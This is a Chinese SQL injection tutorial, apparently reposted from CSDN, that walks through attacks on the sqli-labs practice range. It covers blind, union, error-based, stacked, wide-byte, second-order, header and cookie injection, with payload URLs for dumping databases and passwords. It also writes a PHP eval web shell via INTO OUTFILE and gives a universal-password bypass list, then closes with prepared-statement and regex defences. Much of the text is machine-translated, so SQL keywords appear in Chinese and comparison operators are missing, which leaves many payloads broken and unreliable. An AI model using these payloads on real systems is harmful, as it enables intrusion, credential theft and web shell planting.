从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练

从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练环境
工具:burp suite 靶场:sqli 服务器:centos7 数据库:mysql5.7

环境

工具:burp suite 适用范围: SQL Server:centos7 数据库:mysql5.7

什么是 Sql 注入?

SQL注入是最常见的网络攻击技术之一,它并不是利用操作系统的bug来进行攻击,而是利用程序员在创建SQL语句时的疏忽,无需账户登录也可以进行。数据库可能被篡改。

以下环境均为MySQL数据库,请先了解一下MySQL。从MySQL5.0开始,MySQL默认添加了一个名为information_schema的数据库。该数据库中的表是只读的,实际上只是视图,因此您无法对其进行更新、删除、插入等操作或加载触发器。它不是基表并且没有关联的文件。

mysql 注释字符:#、/**/、–

information_schema 中三个很重要的表:

information_schema.schemata: 该数据表存储了mysql数据库中所有数据库的库名。 information_schema.tables:该数据表存储了mysql数据库中所有数据表的表名。 information_schema.columns: 该数据表存储来自mysql数据库列的所有列。姓名

Mysql 中常用的函数

————————————–

version(): 查询数据库版本

user(): 查询数据库用户

数据库():数据库

system_user(): 系统用户名

session_user(): 连接数据库的用户名

current_user(): 当前用户名

load_file(): 读取本地文件

@@datadir:读取数据库路径

@@basedir:mysql安装路径

@@version_complie_os: 显示操作系统

————————————–

ascii(str): 返回指定字符的ASCII 值。如果str 是空字符串,则返回0。如果str 为NULL,则返回NULL。 ascii(\’a\’)=97 等

length(str) : 返回指定字符串的长度(例如,length(\’string\’)=6)。

substr(string,start,length): 通过从起始位置开始剪切来修剪指定字符串string的长度,如substr(\’chinese\’,3,2)=\’in\’。

substr()、stbstring()、mid() : 这三个函数的用法和功能是一致的。

concat(username):默认情况下,将查询到的用户名连接起来,以逗号分隔。

concat(str1,\’*\’,str2):查询字符串str1和str2的数据,中间用*连接起来。

group_concat(username):将username的所有数据一起查询,并用逗号连接

限制0,1:查询第一个数字限制1,1:查询第二个数字

判断 SQL 注入是否存在

首先尝试添加单引号、双引号、单括号)、双括号))等,看看是否报错。如果报错,则可能存在SQL注入漏洞。另外,在URL 后添加and 1=1 和and 1=2 并检查页面是否相同。如果页面看起来不同,则可能存在SQL 注入漏洞。还有一个定时攻击测试,就是时间盲注入。简单的条件语句(例如and 1=2)可能不会检查异常。 MySQL有一个Benchmark()函数,用于测试性能。 Benchmark(count,expr),执行该函数的结果是表达式expr count次。

因此,通过使用基准函数,可以通过多次执行相同的函数并花费比平常更长的时间才能返回结果来确定注入语句是否执行成功。这是一种侧信道攻击,在盲注入中称为定时攻击,称为时间盲注入。

**最有可能发生SQL注入的功能点: **SQL注入往往发生在与数据库交互的地方。 SQL 注入通常发生在涉及检索HTTP 标头(例如user-agent/client-ip)的登录页面和功能点上。 )和订单处理。例如,除了常见的通用密码和post数据注入之外,登录页面还可能使用client-ip、x-forward-for等HTTP头字段。这些字段用于记录登录IP,存储在数据库中,可以与数据库交互造成SQL注入。

Sql 注入的分类

根据信息检索方法的类型分类:布尔盲注入、时间盲注入、错误注入、联合查询注入、堆栈注入等。提交方式有GET、POST、COOKIE、HTTP注入等。 注射点类型。数字注入、字符串注入、搜索注入等注入、二次注入、用户代理注入、读写文件、宽字节注入、通用密码等。

N 大类型 Sql 注入原理

一、布尔盲注

1. 原理以及手工注入

条件:攻击者无法直接获取该信息。网页仅返回True 和False。布尔盲注入执行SQL注入,根据页面返回的True或False检索数据库中的相关信息。下面是使用ASCII 代码进行盲注入的示例。

盲注中常用的一些函数:ascii()、substr()、length()、exists()、concat()等。

http://192.168.1.132:86/Less-5/?id=1 是正确的页面,回显为:

http://192.168.209.128:88/Less-5/?id=1\’是找到的注入点,echo是错误页面:

http://192.168.209.128:88/Less-5/?id=1\’ and length(database())5 — qwe 注意:这里qwe之前必须使用空格,并且使用布尔值进行注入。示例:且1=1。

1.如何判断数据库类型?

在本例中,错误页面表明数据库是MySQL。那么如果你不知道它是哪个数据库,你怎么知道它是哪个数据库呢?目前主流数据库都有自己独特的表,比如:

数据库表名称MySQLinformation_schema.tablesAccessmsysobjectsSQLServersysobjects

通过这些唯一的表,您可以使用以下语句确定数据库:正常显示的页面属于哪个数据库?

//判断是否是Mysql数据库

http://192.168.209.128:88/Less-5/?id=1\’ 存在(从information_schema.tables 中选择*)#

//判断是否是access数据库

http://127.0.0.1/sqli/Less-5/?id=1\’ 且存在(select*from msysobjects) #

//判断是否是Sqlserver数据库

http://127.0.0.1/sqli/Less-5/?id=1\’ 且存在(select*from sysobjects)#\’

//对于MySQL数据库,information_schema数据库中的表是只读的,不能进行更新、删除、插入等操作。此外,无法加载触发器。这些实际上只是视图,而不是基础表,并且没有关联的文件。

information_schema.tables 存储数据表的元数据信息。下面列出了常用的字段。

名称说明table_schema 记录数据库名称table_name 记录数据表名称table_rows 表行的粗略估计data_length 记录表大小(以字节为单位)

2. 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)

1:确定当前数据库长度,使用二分法。

http://192.168.209.128:88/sqli/Less-5/?id=1\’ and length(database())5 –+ //正常显示

http://192.168.209.128:88/sqli/Less-5/?id=1\’ and length(database())10 –+ //不显示数据

http://192.168.209.128:88/sqli/Less-5/?id=1\’ and length(database())7 –+ //正常显示

http://192.168.209.128:88/sqli/Less-5/?id=1\’ and length(database())8 –+ //不显示数据

如果大于7,则正常显示;如果大于8,则不显示。换句话说,它大于7 且小于或等于8。所以当前数据库长度是8张图片

2:判断当前数据库字符。与上面的方法类似,我们采用二分法依次进行决策。

//判断数据库的第一个字符

http://127.0.0.1/sqli/Less-5/?id=1\’ 和ascii(substr(database(),1,1))100 –+

//判断数据库的第二个字符

http://127.0.0.1/sqli/Less-5/?id=1\’ 和ascii(substr(database(),2,1))100 –+

……

由此我们可以判断当前数据库是安全的。请注意,使用ASCII 代码转换字符时,必须使用十进制数字。

3. 判断当前数据库中的表(语句后面添加+)

http://127.0.0.1/sqli/Less-5/?id=1’ and allocates(select*from admin) //推断当前数据库中是否存在admin表

1:确定当前数据库的表数量。

//判断当前数据库表数是否大于5,使用二分法按顺序判断,最终发现当前数据库表数为4

http://127.0.0.1/sqli/Less-5/?id=1\’ and (select count(table_name) from information_schema.tables where table_schema=database())5 #

2:确定每个表的长度

//按顺序二分判断,确定第一个表的长度。最后我们可以看到当前数据库中第一个表的长度为6。

http://127.0.0.1/sqli/Less-5/?id=1\’ 和length((从information_schema.tables 中选择table_name with table_schema=database() limit 0,1))=6

//确定第二个表的长度采用二分法依次确定第二个表的长度。最后我们可以看到当前数据库中第二张表的长度为6。

http://127.0.0.1/sqli/Less-5/?id=1\’ 和length((从table_schema=database() limit 1,1) 中的information_schema.tables 中选择table_name 限制1,1))=6

3:确定每个表中每个字符的ASCII值。

//判断第一个表中第一个字符的ASCII值

http://127.0.0.1/sqli/Less-5/?id=1\’ 和ascii(substr((从information_schema.tables 中选择table_name 其中table_schema=database() limit 0,1),1,1))100 #

//判断第一个表中第二个字符的ASCII值

http://127.0.0.1/sqli/Less-5/?id=1\’ 和ascii(substr((从information_schema.tables 中选择table_name 其中table_schema=database() limit 0,1),2,1))100 #

……

由此,我们可以确定有名为email、referer、uagents 和users 的表。假设users表中很可能存在账号和密码,因此users表中确定如下决策字段和数据:

4. 判断表中的字段

http://127.0.0.1/sqli/Less-5/?id=1’ and allocates(select username from admin) //一旦我们确认admin表存在,我们就推断username字段是否存在

1:确定表中的字段数。

//判断users表的字段数是否大于5。这里的users表将通过上面的语句进行扩展。

http://127.0.0.1/sqli/Less-5/?id=1\’ and (select count(column_name) from information_schema.columns where table_name=\’users\’)5 #

2:确定字段长度

//判断第一个字段的长度

http://127.0.0.1/sqli/Less-5/?id=1\’ 和length((从information_schema.columns 中选择列名,表名=\’用户\’ limit 0,1))5

//判断第二个字段的长度

http://127.0.0.1/sqli/Less-5/?id=1\’ 和length((从information_schema.columns 中选择列名,表名=\’用户\’限制1,1))5

3:确定字段的ASCII值。

//判断第一个字段第一个字符的长度

http://127.0.0.1/sqli/Less-5/?id=1\’和ascii(substr((从information_schema.columns中选择column_name,其中table_name=\’用户\’限制0,1),1,1))100

//判断第一个字段第二个字符的长度

http://127.0.0.1/sqli/Less-5/?id=1\’和ascii(substr((从information_schema.columns中选择column_name,其中table_name=\’用户\’限制0,1),2,1))100

……

从这里我们可以看到users表有id、用户名和密码字段。

5.判断字段中的数据

我们知道一个用户有三个字段:ID、用户名和密码。现在显示每个字段的数据。

1: 确定数据长度

//判断ID字段第一个数据的长度

http://127.0.0.1/sqli/Less-5/?id=1\’ and length((从用户限制0,1中选择ID))5

//判断ID字段第二个数据的长度

http://127.0.0.1/sqli/Less-5/?id=1\’ and length((从用户限制1,1中选择ID)5

2:确定数据的ASCII值

//确定ID字段中第一个数据的第一个字符的ASCII值。

http://127.0.0.1/sqli/Less-5/?id=1\’ and ascii(substr((从用户限制中选择ID 0,1),1,1))100

//确定ID字段中第一个数据的第二个字符的ASCII值。

http://127.0.0.1/sqli/Less-5/?id=1\’ and ascii(substr((从用户限制中选择ID 0,1),2,1))100

……

二、union查询注入(union 注入)

一、原理及手工注入

三个条件:

两个表具有相同的列数,并且相应的列具有相似的数据类型。查询结果得到回显。存在注入漏洞。

您可以使用order by 来确定当前表中的列数。

http://192.168.209.128:88/Less-1/?id=1\’ 订单为4 — qwq

4是错误的,3是正确的。可以看到当前表有三列。

要查看显示了多少列,请使用union 联合查询。

http://192.168.209.128:88/Less-1/?id=-1\’ 联合选择1 , 2 , 3 — qwq

将出现联合查询。您可以看到第2 列和第3 列是回显列。然后就可以在这两个地方插入一些函数了。

————————————–

version(): 查询数据库版本

user(): 查询数据库用户

数据库():数据库

system_user(): 系统用户名

session_user(): 连接数据库的用户名

current_user:当前用户名

load_file: 读取本地文件

@@datadir:读取数据库路径

@@basedir:mysql安装路径

@@version_complie_os: 显示操作系统

————————————–

启动脚本注入

//回显数据库版本信息和数据库路径。

http://192.168.209.128:88/Less-1/?id=-1\’ 并集选择1,version(),@@datadir — qwq

//自己多尝试一下。

您还可以通过联合注入获取更多信息。

//获取所有数据库

http://127.0.0.1/sqli/Less-1/?id=-1\’ 联合选择1,group_concat(schema_name),3 来自information_schema.schemata –+

//获取所有表

http://127.0.0.1/sqli/Less-1/?id=-1\’ 联合选择1,group_concat(table_name),3 来自information_schema.tables –+

//获取所有列

http://127.0.0.1/sqli/Less-1/?id=-1\’ 联合选择1,group_concat(column_name),3 来自information_schema.columns –+

可以通过选择1、database()、3.来获取当前数据库名称的安全性,通过以下语句可以获取当前数据库的所有表。

http://127.0.0.1/sqli/Less-1/?id=-1\’ 连接information_schema.tables 中的选择1,group_concat(table_name),3 其中table_schema=\’security\’ — +

由于我们知道当前数据库中有四张表,因此我们可以通过下面的语句找出每张表的列。

http://127.0.0.1/sqli/Less-1/?id=-1\’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=\’security\’ and table_name=\’users\’ — +

可以看到users表有三列:id、username、password,如下所示。

使用group_concat() 组合帐户密码和ID 以显示所有数据

http://127.0.0.1/sqli/Less-1/?id=-1\’ Union select 1,group_concat(id,\’–\’,用户名,\’–\’,密码),3 — +

三、文件读写

1. union 注入读取文件

注意:如果有显示列,可以使用联合注入来读取文件。盲注入只能用于在列不可见的情况下读取数据。

写文件只能使用union注入

示例:读取位于系统根目录中的/demo.txt 文件。

//Union注入读取/demo.txt文件,Windows使用盘符:/path

http://127.0.0.1/sqli/Less-1/?id=-1\’ 联合选择1,2,load_file(\’demo.txt\’) — +

您还可以将///demo.txt 转换为十六进制。如果这对您不起作用,请查找信息。

http://127.0.0.1/sqli/Less-1/?id=-1\’ 联合选择1,2,load_file(0x2F64656D6F2E747874) — +

如果失败,请参阅下一个解决方案。找到mysql目录下的my.ini/my.cnf文件,在[mysqld] secure_file_priv=\’\’下添加以下内容。

登录mysql并运行以下命令。

显示mysql\’secure_file_priv\’ 等变量。

+——+—–+

变量名| 值|

+——+—–+

| 安全文件权限|

+——+—–+

这里secure_file_priv的值必须是\’\’或者“/” secure_file_priv有三个值

1.限制mysqld允许导入和导出|

mysqld secure_file_prive=null

2. 限制mysqld 导入| 导出仅发生在/tmp/目录中。

mysqld secure_file_priv=/tmp/

3、导入mysqld没有任何限制|

secure_file_priv=\’\’

2. 盲注读取文件

在盲读的情况下,使用hex函数将读取的字符串转换为十六进制数字,使用ASCII函数将其转换为ASCII码,然后使用二分法一一确定字符是极其复杂的任务。通过组合工具完成。

http://127.0.0.1/sqli/Less-1/?id=-1\’ 和ascii(mid((select hex(load_file(\’e:/3.txt\’))),18,1))49#\’ LIMIT 0,1

您可以使用写入文件功能

,在 e 盘创建 4.php 文件,然后写入一句话木马。

//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1\’ union select 1,2,\'<?php @eval($_POST[aaa]);?>\’ into outfile \’d:/4.php\’ — +
// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1\’ union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile \’d:/4.php\’ — +

在文件写入读取的时候,遇见以下这种情况。

多半是因为权限不足,可以使用@@datadir,得到当前数据库存储目录,试着在数据库存储目录进行文件注入 比如

http://192.168.209.128:88/Less-1/?id=-1\’ union select 1,2,\'<?php @eval($_POST[aaa]);?>\’ into outfile \’/www/server/mysql/4.php\’ —

注入成功

权限不足的解决办法-参考环境: CentOS7.0 64 位 MySQL5.7 问题:

#使用\’select into outfile\’备份数据表提示无法写入文件
mysql> select 1,2,\’you are very good hacker\’ from into outfile \’/www/server/mysql/app.txt\’;
ERROR 1 (HY000): Can\’t create/write to file \’/www/server/mysql/app.txt\’ (Errcode: 13)

排查:

#查看mysql的进程用户,为mysql用户
[root@lfs ~]# ps aux|grep mysqld
root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe –user=mysql
mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld –basedir=/usr/local/mysql –datadir=/usr/local/mysql/data –plugin-dir=/usr/local/mysql/lib/plugin –user=mysql –log-error=/usr/local/mysql/data/lfs.err –pid-file=/usr/local/mysql/data/lfs.pid –socket=/tmp/mysql.sock –port=3306
#查看/www/server/mysql/目录的权限,mysql用户没有写入权限
[root@lfs ~]# ls -ld /www/server/mysql/
drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/

解决办法:

#将/data/mysql/目录的归属为mysql用户
chown -R mysql.mysql /www/server/mysql/
[root@lfs ~]# ls -ld /data/mysql/
drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/

验证,写入成功:

四、报错注入

报错注⼊常⽤的函数

floor()extractvalue()updatexml()geometrycollection()multipoint()polygon()multipolygon()linestring().。。。。。
这里介绍一个案例updatexml()。

updatexml()

MySQL提供了一个updatexml()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1\’ and updatexml(1, 0x7e, 3) — a

参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。

version():返回数据库版本concat():拼接特殊符号和查询结果

updatexml()函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

limit:分页substr():截取字符

1.1 limit分页

例如,已知users表中包含username和password两个字段,显示出某个password字段的数据

id=-1\’ and updatexml(1, concat(0x7e,(
select password from users limit 0,1
)), 3) — a

使用group_concat(字段名)显示出最高32位字符长度,password字段的数据

id=-1\’ and updatexml(1, concat(0x7e,(
select group_concat(password) from users limit 0,1
)), 3) — a

1.2 substr()

获取密码数据案例

http://192.168.209.128:88/Less-1/?id=-1\’ and updatexml(1, concat(0x7e,
substr((select group_concat(password) from users),1,31)
),3) — qwe

1.3 步骤总结

适用情况:页面有数据库报错信息

1.网站信息必须是动态的,来自数据库的报错信息。
2.网站写死的、自定义的报错信息不算

1>.判断是否报错

参数中添加单/双引号,页面报错才可进行下一步。

?id=1\’ — a

2>.判断报错条件

参数中添加报错函数,检查报错信息是否正常回显。

?id=1\’ and updatexml(1,\’~\’,3) — a

3>. 脱库

//获取所有数据库
?id=1\’ and updatexml(1,concat(\’~\’,
substr(
(select group_concat(schema_name) from information_schema.schemata)
,1,31)
),3) — qwq
//获取所有表
?id=1\’ and updatexml(1,concat(\’~\’,
substr(
(select group_concat(table_name) from information_schema.tables where table_schema =\’security\’)
,1,31)
),3) — qwq
//获取所有字段
?id=1\’ and updatexml(1,concat(\’~\’,
substr(
(select group_concat(column_name) from information_schema.columns where table_schema =\’security\’ and table_name=\’users\’)
,1,31)
),3) — qwq

五、时间盲注

Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。

//判断是否存在延时注入
?id=1\’ and sleep(5) –+

六、宽字节注入

宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。

//GBK和其他所有ANSI结果为2
echo strlen(\”中\”)
//UTF-8
echo strlen(\”中\”) //结果为3

我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。

addslashes()函数,这个函数在预定义字符之前添加反斜杠 \\ 。 这个函数有一个特点虽然会添加反斜杠 \\ 进行转义,但是 \\ 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用get_magic_quotes_gpc()来检测是否已经转义。

mysql_real_escape_string()函数,这个函数用来转义sql语句中的特殊符号x00、\\n、\\r、\\、\’、\”、x1a。

注:

预定义字符:单引 \’,双引 \”,反斜 \\,NULL魔术引号:当打开时,所有单引号 \’、双引号 \” 、反斜杠 \\ 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令:
magic_quotes_gpcmagic_quotes_runtimemagic_quotes_sybase
实操:此次采用sqli的Less-32,

//正常显示
http://192.168.209.128:88/Less-32/?id=1 — qwq

开始注入:

//添加引号
http://192.168.209.128:88/Less-32/?id=1\’ — qwq

//布尔注入
http://192.168.209.128:88/Less-32/?id=1\’ and 1=2 — qwq

//unionunion注入
http://192.168.209.128:88/Less-32/?id=1\’ union select 1,version(),database() — qwq

发现页面回显信息,每次注入都将\\进行了转义,这时候就要把\\去掉,

宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2个字符是1个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81就可以使 ’ 逃脱出来了。

开始注入:

http://192.168.1.132:86/Less-32/?id=1 %df

可以发现%df和 ’ 组成了一个汉字 把/号干掉之后就可以用unionunion注入查询数据了。

http://192.168.209.128:88/Less-32/?id=-1�\’ union select 1,2,3 — qwq

注入成功!

七、堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root’;DROP database user;服务器端生成的sql语句为:select * from user where name=\’root\’;DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。

八、二次注入

概念

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

原理

在第一次进行数据插入数据库得时候,仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc()对其中得字符进行了转义,在后端代码中可能会被转义,但在存入数据库时候还是原来得数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就行了二次注入。

过程

插入1‘#转义成1\\’#不能注入,但是保存在数据库时变成了原来的1’#利用1’#进行注入,这里利用时要求取出数据时不转义

条件

用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)数据库对自己存储得数据非常放心,直接读取出恶意数据给用户

利用

注册用户名admin’– -(后面的-是为了突出前面的空格,起到了注释作用)

使用刚刚注册得账号进行登录。

3、查看注册源代码

发现用户在注册的时候没有进行特殊符号过滤,所以再一次说明我们注册的用户成功!

进行修改密码(攻击)

攻击成功 ,返回使用更新后的密码登录账号 admin。

登录成功
修改密码的时候,语句就会变为:

$sql = \”UPDATE users SET PASSWORD=\’aaaaaa\’ where username=\’admin\’ — w\’ and password=\’$curr_pass\’ \”;

— w把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa

九、User-Agent 注入

我们访问 http://127.0.0.1/sqli/Less-18/,页面显示一个登陆框和我们的ip信息。

当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent。

抓包,修改其User-Agent如下图,测试是否存在user-agent注入

页面报错,存在报错注入

\’ and extractvalue(1,concat(0x7e,database(),0x7e))and \’1\’=\’1 #我们可以将 database()修改为任何的函数

可以看到,页面将当前的数据库显示出来了。

十、Cookie 注入

原理

cookie注入的原理是:就是修改cookie的值进行注入

♦cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie

♦要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。

条件

两个必须条件:

程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。在条件1的基础上还需要程序对提交数据获取方式是直接request(\”xxx\”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是在URL后面的参数,也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

十一、万能密码

原理

原验证登陆语句:

SELECT * FROM admin WHERE Username= \’\”.$username.\”\’ AND Password= \’\”.md5($password).\”\’

输入1\’ or 1=1 or \’1\’=\’1万能密码语句变为:

SELECT * FROM admin WHERE Username=\’1\’ OR 1=1 OR \’1\’=\’1\’ AND Password=\’EDFKGMZDFSDFDSFRRQWERRFGGG\’

即得到优先级关系:or<and<not,同一优先级默认从左往右计算。

上面\’1\’=\’1\’ AND Password=\’EDFKGMZDFSDFDSFRRQWERRFGGG\’先计算肯定返回false,因为密码是我们乱输入的。(此处是假)Username=‘1’ 返回假,数据库没有1这个用户名(此处是假)1=1返回真(此处是真)
以上的结果是:假 or 真 or假返回真。验证通过。再比如:

select tel,pwd where tel=\’111\’ and pwd=\’123456\’

我们把电话111看成一个变量,输入电话号码为\’ or 1= \’1。

sql就变为如下样子:

select tel,pwd where tel=\’\’ or 1=\’1\’ and pwd=\’123456\’

上面1=\’1\’ and pwd=\’123456\’先计算肯定返回false。(此处是假)tel=‘’ 返回假,数据库没有\’\’这个手机号。(此处是假)
以上的结果是:真 or假返回真。验证通过。

常用的万能密码

\’ or 1=\’1
\’or\’=\’or\’
admin
admin\’–
admin\’ or 4=4–
admin\’ or \’1\’=\’1\’–
admin888
\”or \”a\”=\”a
admin\’ or 2=2#
a\’ having 1=1#
a\’ having 1=1–
admin\’ or \’2\’=\’2
\’)or(\’a\’=\’a
or 4=4–
c
a\’or\’ 4=4–
\”or 4=4–
\’or\’a\’=\’a
\”or\”=\”a\’=\’a
\’or\’\’=\’
\’or\’=\’or\’
1 or \’1\’=\’1\’=1
1 or \’1\’=\’1\’ or 4=4
\’OR 4=4%00
\”or 4=4%00
\’xor
admin\’ UNION Select 1,1,1 FROM admin Where \’\’=\’
1
-1%cf\’ union select 1,1,1 as password,1,1,1 %23
1
17..admin\’ or \’a\’=\’a 密码随便
\’or\’=\’or\’
\’or 4=4/*
something
\’ OR \’1\’=\’1
1\’or\’1\’=\’1
admin\’ OR 4=4/*
1\’or\’1\’=\’1

Sql 注入的预防

一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行

预编译(PreparedStatement)(JSP)

可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

String sql = \”select id, no from user where id=?\”;
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();

如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?

其原因就是:采用了PreparedStatement预编译,就会将SQL语句:“select id, no from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。

PDO(PHP)

首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。

PDO对于解决SQL注入的原理也是基于预编译。

$data = $db->prepare( \’SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;\’ );
$data->bindParam( \’:id\’, $id, PDO::PARAM_INT );
$data->execute();

实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.

使用正则表达式过滤

正则表达式是一种用于匹配模式的工具,在检测 SQL 注入时非常有用。我们可以使用正则表达式来过滤和验证用户输入,以确保输入不包含任何恶意的 SQL 代码。下面是一些常见的正则表达式示例:

对用户输入的特殊字符进行严格过滤,如 \’、\”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union

pattern = re.compile(
r\”(%27)|(\\\’)|(\\-\\-)|(%23)|(#)|\” # Regex for detection of SQL meta-characters
r\”\\w*((%27)|(\\\’))\\s+((%6F)|o|(%4F))((%72)|r|(%52))\\s*|\” # Modified regex for detection of SQL meta-characters eg: \’ or 1 = 1\’ detect word \’or\’,
r\”((%3D)|(=))[^\\n]*((%27)|(\\\’)|(\\-\\-)|(%3B)|(;))\” # Regex for typical SQL Injection attack eg: \’= 1 –\’
r\”((%27)|(\\\’))union|\” # Regex for detecting SQL Injection with the UNION keyword
r\”((%27)|(\\\’))select|\” # Regex for detecting SQL Injection with the UNION keyword
r\”((%27)|(\\\’))insert|\” # Regex for detecting SQL Injection with the UNION keyword
r\”((%27)|(\\\’))update|\” # Regex for detecting SQL Injection with the UNION keyword
r\”((%27)|(\\\’))drop\”, # Regex for detecting SQL Injection with the UNION keyword
re.IGNORECASE,
)
r = pattern.search(\”\’ OR 1 — -\”)
if r:
return True

其他

Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。

设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。

严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查。

使用 Web 应用防火墙。

#以上关于从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92344.html

Like (0)
CSDN的头像CSDN
Previous 2024年6月26日
Next 2024年6月26日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注